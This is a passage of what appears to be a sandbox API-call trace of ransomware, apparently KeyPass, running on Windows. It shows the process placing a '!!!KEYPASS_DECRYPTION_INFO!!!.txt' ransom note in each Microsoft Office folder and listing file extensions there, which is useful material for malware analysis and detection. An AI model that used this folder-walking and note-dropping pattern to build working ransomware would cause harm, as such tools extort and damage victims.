(pszPath="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned=".dll" [0244.094] FindNextFileW (in: hFindFile=0x2e796d8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0244.094] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0244.094] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0244.094] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2e53140 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0244.094] GetLastError () returned 0x3f0 [0244.094] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\fre\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\fre\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0244.094] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\fre\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0244.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\fre\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d4 [0244.138] GetFileType (hFile=0x5d4) returned 0x1 [0244.138] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0244.138] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0244.138] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0244.139] WriteFile (in: hFile=0x5d4, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0244.139] WriteFile (in: hFile=0x5d4, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0244.140] CloseHandle (hObject=0x5d4) returned 1 [0244.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79918 [0244.140] FindNextFileW (in: hFindFile=0x2e79918, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.140] FindNextFileW (in: hFindFile=0x2e79918, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\fre\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0244.140] FindNextFileW (in: hFindFile=0x2e79918, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4") returned=".mp4" [0244.140] FindNextFileW (in: hFindFile=0x2e79918, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4") returned=".mp4" [0244.140] FindNextFileW (in: hFindFile=0x2e79918, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv") returned=".wmv" [0244.140] FindNextFileW (in: hFindFile=0x2e79918, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.140] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv") returned=".wmv" [0244.141] FindNextFileW (in: hFindFile=0x2e79918, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.141] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4") returned=".mp4" [0244.141] FindNextFileW (in: hFindFile=0x2e79918, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.141] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4") returned=".mp4" [0244.141] FindNextFileW (in: hFindFile=0x2e79918, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0244.141] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0244.141] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0244.141] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2e53140 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0244.141] GetLastError () returned 0x3f0 [0244.141] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0244.141] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0244.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\integration\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8 [0244.181] GetFileType (hFile=0x5d8) returned 0x1 [0244.181] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0244.181] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0244.182] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0244.182] WriteFile (in: hFile=0x5d8, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0244.182] WriteFile (in: hFile=0x5d8, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0244.182] CloseHandle (hObject=0x5d8) returned 1 [0244.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79a98 [0244.183] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned=".msi" [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned=".msi" [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned=".xml" [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml") returned=".xml" [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml") returned=".xml" [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml") returned=".xml" [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml") returned=".xml" [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml") returned=".xml" [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml") returned=".xml" [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml") returned=".xml" [0244.205] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.205] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.206] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.206] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.206] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.206] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.206] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.206] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.206] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.206] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.206] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.206] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.206] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml") returned=".xml" [0244.206] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.207] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml") returned=".xml" [0244.207] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.208] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml") returned=".xml" [0244.208] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.208] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml") returned=".xml" [0244.208] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.208] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml") returned=".xml" [0244.208] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.208] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml") returned=".xml" [0244.208] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.208] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml") returned=".xml" [0244.208] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.208] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned=".exe" [0244.208] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.208] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned=".exe" [0244.208] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.208] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned=".msp" [0244.208] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.208] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned=".msp" [0244.208] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.208] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned=".msi" [0244.208] FindNextFileW (in: hFindFile=0x2e79a98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0244.208] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0244.208] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0244.208] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2e53140 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0244.209] GetLastError () returned 0x3f0 [0244.209] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0244.209] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0244.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0244.212] GetFileType (hFile=0x5dc) returned 0x1 [0244.213] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0244.213] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0244.213] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0244.213] WriteFile (in: hFile=0x5dc, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0244.214] WriteFile (in: hFile=0x5dc, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0244.214] CloseHandle (hObject=0x5dc) returned 1 [0244.214] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79b18 [0244.214] FindNextFileW (in: hFindFile=0x2e79b18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.215] FindNextFileW (in: hFindFile=0x2e79b18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.215] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0244.215] FindNextFileW (in: hFindFile=0x2e79b18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.215] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses\\c2rpridslicensefiles_auto.xml") returned=".xml" [0244.215] FindNextFileW (in: hFindFile=0x2e79b18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0244.215] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0244.215] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0244.215] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2e53140 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0244.215] GetLastError () returned 0x3f0 [0244.215] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0244.215] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0244.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e0 [0244.295] GetFileType (hFile=0x5e0) returned 0x1 [0244.296] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0244.296] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0244.296] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0244.296] WriteFile (in: hFile=0x5e0, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0244.297] WriteFile (in: hFile=0x5e0, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0244.297] CloseHandle (hObject=0x5e0) returned 1 [0244.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79698 [0244.297] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.350] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.350] PathFindExtensionW 